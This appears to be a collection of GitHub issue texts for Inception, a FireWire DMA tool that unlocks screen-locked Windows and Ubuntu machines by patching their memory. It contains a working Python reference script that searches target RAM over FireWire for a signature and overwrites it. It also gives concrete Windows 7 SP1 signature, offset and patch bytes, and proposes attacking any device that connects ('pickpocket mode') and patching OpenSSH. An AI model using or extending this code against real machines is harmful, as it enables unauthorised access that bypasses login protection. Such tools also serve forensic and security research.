Add Windows 8 signatures

Implement pickpocket mode that attacks any device that connects to the FW bus.

Inception finds 2x of the signatures in some instances - need to make x32 sig more robust

Doesn't work as per today.

1. Search for ip + wifi essid
2. Patch openssh
3. ...PROFIT!?

A method could be to start close to known offsets and search up and downwards in memory from there since it is unlikely that the signature has propagated too far in either direction.

json may best way: human readable and exchangeable.

Signature for SP1 x86:
sig: 0x83F8100F85509400
offset: 0x312
patch: 0x83F8109090509400

The signature is matched but patch doesn't unlock screen.

Some users currently have to set LD_LIBRARY_PATH to /usr/local/lib, where the libforensic1394 modules are:

export LD_LIBRARY_PATH=/usr/local/lib

Before running the tool

Implement patch mode so that it is easy to test new sigs:

incept --patch signature patch offset

Like the reference implementation:

1 # !/ usr / bin / env python
2 # -- coding : utf -8 --
3 from forensic1394 import Bus
4 from time import sleep
5 from binascii import unhexlify
6 from sys import argv
7
8 # Page size , nearly always 4096 bytes
9 PAGESIZE = 4096
10
11 def findsig (d , sig , off ):
12 # Skip the first 1 MiB of memory
13 addr = 1_1024_1024 + off
14 while True :
15 # Prepare a batch of 128 requests
16 r = [( addr + PAGESIZE *i , len ( sig )) for i in range (0 , 128)]
17
18 for caddr , cand in d. readv (r ):
19 if cand == sig : return caddr
20
21 addr += PAGESIZE * 128
22
23 # Parse the command line arguments
24 sig , patch , off = unhexlify ( argv [1]) , unhexlify ( argv [2]) , int ( argv [3])
25
26 b = Bus ()
27
28 # Enable SBP -2 support to ensure we get DMA
29 b. enable_sbp2 ()
30 sleep (2.0)
31
32 # Open the first device
33 d = b. devices ()[0]
34 d. open ()
35
36 try :
37 # Find
38 addr = findsig (d , sig , off )
39 print " Signature found at %d. " % ( addr )
40
41 # Patch and verify
42 d. write ( addr , patch )
43 assert d. read ( addr , len ( patch )) == patch
44 except IOError :
45 print " Signature not found . "

http://stackoverflow.com/questions/301134/dynamic-module-import-in-python

See: http://www.breaknenter.org/files/winlockpwn/

Windows 7 x64 signatures are quite volatile both in offset and jump address - we need to implement fuzzy matching of the sig to make the method more robust against code changes from MS.

http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python
http://www.doughellmann.com/PyMOTW/textwrap/

Use vectorized reads and make not reading the first MB default.

Feature request.

Enable easy testing of new signatures

Should not attempt to access addresses above 0xFFFFFFFF (could cause bluescreen at target)

Search for the first signature goes infinite due to lack of "outside of memory" check.

Suggested fix: Stop phase at address 0xFFFFFFFF (4GB, FireWire max) or create more robust check for "no data" (i.e., we're out of memory bounds).

Read one chunk of data per page, instead of one per offset per signature like now. This will speed up the tool significantly.

Add autodetection of devices and nodes:

https://freddie.witherden.org/tools/libforensic1394/docs/

Doesn't work per today.

Re-develop ubuntu signatures for less false positives and more stable operation

Instead of choosing 'Windows 7 [architecture] [Service Pack]', a user should be able to choose 'Unclock Windows 7' since it is not always clear what patch level the target is at.

In other words, the tool should parallel search for all signatures for a given OS.

Import a settings module with variables instead of passing context parameter between function calls

[!] Um, something went wrong: 'ascii' codec can't decode byte 0xc3 in position 1032: ordinal not in range(128)

Traceback (most recent call last):
File "/usr/local/bin/incept", line 125, in main
address, page = screenlock.attack(targets)
File "/usr/local/lib/python3.1/dist-packages/inception/screenlock.py", line 216, in attack
fw = FireWire()
File "/usr/local/lib/python3.1/dist-packages/inception/firewire.py", line 48, in init
self._oui = self.init_OUI()
File "/usr/local/lib/python3.1/dist-packages/inception/firewire.py", line 66, in init_OUI
lines = f.readlines()
File "/usr/lib/python3.1/encodings/ascii.py", line 26, in decode
return codecs.ascii_decode(input, self.errors)[0]
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 1032: ordinal not in range(128)

If we find signatures during linear search, add the signatures and offsets to the config file. Ask for the user to mail new signatures to me.

Feature request.

Hey,

I am trying to use Inception v.0.0.8 on a fresh backbox (ubuntu-based) installation.

--- SNIP ---

uname -a

Linux Angreifer 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:33:45 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

--- SNIP ---

--- SNIP ---
root@Angreifer:~# incept

Inception v.0.0.8
by Carsten Maartmann-Moe [email protected] aka ntropy [email protected] 2012
Twitter: @breaknenter Web: http://breaknenter.org

For updates, visit/clone https://github.com/carmaa/inception or visit the
Inception homepage at http://breaknenter.org/projects/inception

[!] FireWire modules do not seem to be loaded. Load them? [Y/n]:
[!] Could not initialize FireWire. Are the modules loaded into the kernel?
[!] Attack unsuccessful
--- SNIP ---

Yesterday I tried it on a Backtrack 5R2 Live-CD and the result was the same error message.

I am using a Dell Latitude D630 which has an onboard firewire port.

What is my fault?

Best regards schniggie

Detect host OS and fallback to sequential reads if OS X

Add rudimentary check of the target memory size.

Reported failures to patch correctly